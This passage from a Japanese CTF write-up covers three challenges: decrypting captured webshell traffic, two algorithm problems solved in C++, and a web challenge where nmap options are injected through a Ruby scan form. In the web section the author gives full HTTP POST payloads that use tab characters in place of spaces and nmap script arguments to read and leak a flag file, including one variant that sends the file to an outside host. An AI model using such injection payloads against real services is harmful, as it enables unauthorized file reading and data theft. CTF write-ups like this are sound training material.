nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";

openssl_private_decrypt($first_half, $decrypted, $pvk1);
echo $decrypted;

これで通信を復号化していくと、tcp.stream eq 110の入力にフラグが含まれていた。
echo 'SEKAI{h4rd_2_d3t3ct_w3bsh3ll}'

[PPC] Purple Sheep And The Apple Rush

N頂点の無向木が与えられる。
頂点毎にパラメタL[i]が与えられるが、葉かそうでないかで意味合いが異なる。
葉であれば、L[i]は隠された金のリンゴの数を指し、最初に訪れた時点でその金のリンゴをすべて得ることができる
葉でなければ、金のリンゴ1個で、その町の「通行券」が帰る。その通行券にはL[i]の数が書かれていて、葉でない町を訪れるたびにL[i]個の金のリンゴを支払う必要がある。
なお、この「通行券」は金のリンゴ1個で買い替えることが可能。
各町について、その町を始点として任意の葉まで遷移可能な町を任意回数移動したときの「支払ったリンゴ - 得たリンゴ」の最小値をそれぞれ答えよ。
移動のパスの途中で葉は選択できず、パスの最後のみ葉が許される。
(このルールだと、葉が始点であれば通行券は買えないので、移動できず金のリンゴを回収して終了となる)

dp[cu] := 町cuからスタートしたとしたときの「支払ったリンゴ - 得たリンゴ」の最小値

まずは、葉についてすべて更新しておく。
dp[cu] = -L[cu]
戦略を考えると使えそうな性質が出てくる。
通行券を取り替えるというのが戦略の1つになってくるが、通行券を取り換える選択をするのは、「書かれている値が小さい通行券の場合のみ」である。
書かれている値が同じ、もしくは、大きい通行券に変更するメリットが見当たらない。
なので、町cuで通行券を買った場合に、取りうる選択肢としては、葉に向かうか、通行券に書かれている値のより小さい町toに向かって通行券を買い替えるかの二択になる。
これを使うと、dpが更新可能。

dp[cu] = min{to:= 町cuよりも通行券に書かれている値が小さい町to}{1LL + (町cuと町toの距離) * L[cu] + dp[to]}

町toで通行券を買い替えた後の最適な動きは町toからスタートした状況と全く同じであるため、それ以降の計算が既に実施されていればdpによってメモ化された結果を再利用することができる。
葉のdp計算を実施した後の頂点はL[i]が小さい順に行えば、全ての計算結果がメモ化されていることになり、dpとして適切に計算ができる。
…ということが言いたいのが上の式。

(町cuと町toの距離)の部分を高速に計算できるように前計算しておく必要がある。
自分はHL分解のライブラリにその機能があるので流用したが、LCAとダブリングでやってもいいし、
今回はO(N2)が通りそうなので、事前に幅優先探索しても間に合う気もする。(未確認)

あと、自分の実装では正確には「to:= 町cuよりも通行券に書かれている値が小さいか同じ町to」
という感じの実装になっていて少し効率が悪いが、最終結果には影響がない。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
struct HLDecomposition {
    vector<set<int>> g; vector<int> vid, head, heavy, parent, depth, inv, in, out;
    HLDecomposition() {} HLDecomposition(int n) { init(n); }
    void init(int n) {
        g.resize(n); vid.resize(n, -1); head.resize(n); heavy.resize(n, -1);
        parent.resize(n); depth.resize(n); inv.resize(n); in.resize(n); out.resize(n);
    }
    void add(int u, int v) { g[u].insert(v); g[v].insert(u); } void build() { dfs(0, -1); t = 0; dfs_hld(); }

    int dfs(int curr, int prev) {
        parent[curr] = prev; int sub = 1, max_sub = 0;
        heavy[curr] = -1;
        for (int next : g[curr]) if (next != prev) {
            depth[next] = depth[curr] + 1;
            int sub_next = dfs(next, curr); sub += sub_next;
            if (max_sub < sub_next) max_sub = sub_next, heavy[curr] = next;
        }return sub;
    }

    int t = 0;
    void dfs_hld(int v = 0)
    {
        vid[v] = in[v] = t;
        t++;
        inv[in[v]] = v;
        if (0 <= heavy[v]) {
            head[heavy[v]] = head[v];
            dfs_hld(heavy[v]);
        }
        for (auto u : g[v]) if(depth[v] < depth[u])  if (u != heavy[v]) {
            head[u] = u;
            dfs_hld(u);
        }
        out[v] = t;
    }


    void foreach(int u, int v, function<void(int, int)> f) { // [x,y]
        if (vid[u] > vid[v]) swap(u, v); f(max(vid[head[v]], vid[u]), vid[v]);
        if (head[u] != head[v]) foreach(u, parent[head[v]], f);
    }
    int ancestor(int from, int times) {
        while (true) {
            if (depth[head[from]] > depth[from] - times) {
                times -= depth[from] - depth[head[from]] + 1; if (head[from] == 0)return -1; from = parent[head[from]];
            }
            else return inv[vid[from] - times];
        }
    }
    int lca(int u, int v) {
        if (vid[u] > vid[v]) swap(u, v); if (head[u] == head[v]) return u;
        return lca(u, parent[head[v]]);
    }
    int distance(int u, int v) { return depth[u] + depth[v] - 2 * depth[lca(u, v)]; }
    int child(int parent, int child, int times) {
        assert(depth[parent]<depth[child]);
        int d = distance(parent, child); assert(times - 1 <= d); return ancestor(child, d - times);
    }
    int go(int from, int to, int times) {
        int d = distance(from, to); assert(0 <= times and times <= d);
        int lc = lca(from, to); if (lc == to)return ancestor(from, times); if (lc == from)return child(from, to, times);
        int dd = distance(from, lc); if (dd <= times)return go(lc, to, times - dd); return ancestor(from, times);
    }
};
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/






int N;
ll L[4010];
ll dp[4010];
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> L[i];

    HLDecomposition hld(N);
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        hld.add(a, b);
    }
    hld.build();

    vector<int> done;
    vector<pair<ll,int>> order;
    rep(i, 0, N) {
        if(hld.g[i].size() == 1) {
            done.push_back(i);
            dp[i] = -L[i];
        } else {
            order.push_back(make_pair(L[i], i));
        }
    }
    sort(all(order));
    fore(p, order) {
        ll l = p.first;
        int cu = p.second;

        dp[cu] = infl;
        fore(to, done) chmin(dp[cu], 1LL + hld.distance(cu, to) * L[cu] + dp[to]);
        done.push_back(cu);
    }
    rep(i, 0, N) {
        if(i) printf(" ");
        printf("%lld", dp[i]);
    }
    printf("\n");
}

[PPC] Wiki Game

有向グラフが与えられて始点となる頂点から終点となる頂点へ6回以下の遷移で移動可能ならYESで、そうでないならNOと答える。
幅優先探索で、最短距離を特定可能。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/

int n, m;
vector<int> E[1010];
int src, dst;

int minimum[1010];

#define YES "YES"
#define NO "NO"
string solve() {
    cin >> n >> m;
    rep(i, 0, n) E[i].clear();
    rep(i, 0, m) {
        int u, v; cin >> u >> v;
        E[u].push_back(v);
    }
    cin >> src >> dst;

    rep(i, 0, n) minimum[i] = inf;

    queue<int> que;
    que.push(src);
    minimum[src] = 0;
    while(!que.empty()) {
        int cu = que.front();
        que.pop();

        fore(to, E[cu]) if(minimum[to] == inf) {
            minimum[to] = minimum[cu] + 1;
            que.push(to);
        }
    }

    return minimum[dst] <= 6 ? YES : NO;
}

void _main() {
    int T; cin >> T;
    rep(t, 0, T) cout << solve() << endl;
}

[Web] Scanner Service

以下の部分が攻撃対象のメインの処理。

  post '/' do
    input_service = escape_shell_input(params[:service])
    hostname, port = input_service.split ':', 2
    begin
      if valid_ip? hostname and valid_port? port
        # Service up?
        s = TCPSocket.new(hostname, port.to_i)
        s.close
        # Assuming valid ip and port, this should be fine
        @scan_result = IO.popen("nmap -p #{port} #{hostname}").read
      else
        @scan_result = "Invalid input detected, aborting scan!"
      end
    rescue Errno::ECONNREFUSED
      @scan_result = "Connection refused on #{hostname}:#{port}"
    rescue => e
      @scan_result = e.message
    end

    erb :'index'
  end

POST /で入力したhostnameとportがpopenに埋め込まれて実行される。
コマンドインジェクションをする問題。
以下のような制約が付いている。

nmapのオプションに色々差し込んでやるんだろうと想像して、RCEとLFIの両方の方向性で考える。
フラグが以下のように、RCEしないといけないようにランダム列がくっついているが、
シェルの補完機能が使えそうな場面では/flag-????????????????????????????????.txtとすればいい。

RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt

まず、色々実験するとタブが空白の代わりに機能することが分かる。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-without-space

これで空白が実質使えるようになったので自由にnmapのオプションを差し込むことができるようになった。
それをもとにいろいろやると、配布されたDockerfileを使って起動した手元の環境では以下のようにするとフラグが得られた。

  1. nmap -i /flag-????????????????????????????????.txt -oN /app/public/stylesheets/flagを動かす感じで以下のように差し込む。
    -iでファイルを読み込むが失敗して出力に出てくるがその先が標準エラー出力で読めないので、-oNでpublicな所に吐き出している
POST / HTTP/1.1
Host: localhost:4444
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09-i%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09-oN%09%2fapp%2fpublic%2fstylesheets%2fflag%09%23
  1. GET /stylesheets/flagでフラグが得られる

が、本番でやってみると動かない…
書き込み先に制限がかかっている雰囲気がある。

しょうがないので、別の経路を探すかーとやっているとNSEが思いついた。
nmapでプラグイン的にスクリプトを動かす機能。
パスワードの総当たり攻撃ができたりするので、その辞書に該当ファイルを渡せば外部にそれを移せるのでは?という作戦。

nmap -p 80 --script http-brute --script-args passdb=/flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

こんな感じにするとフラグが得られたが、この方法だと、/flag-????????????????????????????????.txtが使えない。
うーーーーんと思ってやけくそに以下のようにやってみると、標準出力にフラグが出てきた。

nmap -p 80 --script http-brute --script-args-file /flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

おっ、と思い本番で以下を実行するとフラグ獲得できた。

POST / HTTP/1.1
Host: [REDACTED]:[REDACTED]
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09--script%09http-brute%09--script-args-file%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09%23

フラグの中身を見るとRCEできる想定解があるっぽい。
開始してから半日立っていないのに50 solves以上あったので、もっと直接的な(シンプルな)RCEの方法があるんだろうと思っていたが…
これはコンテスト後の楽しみとしておこう。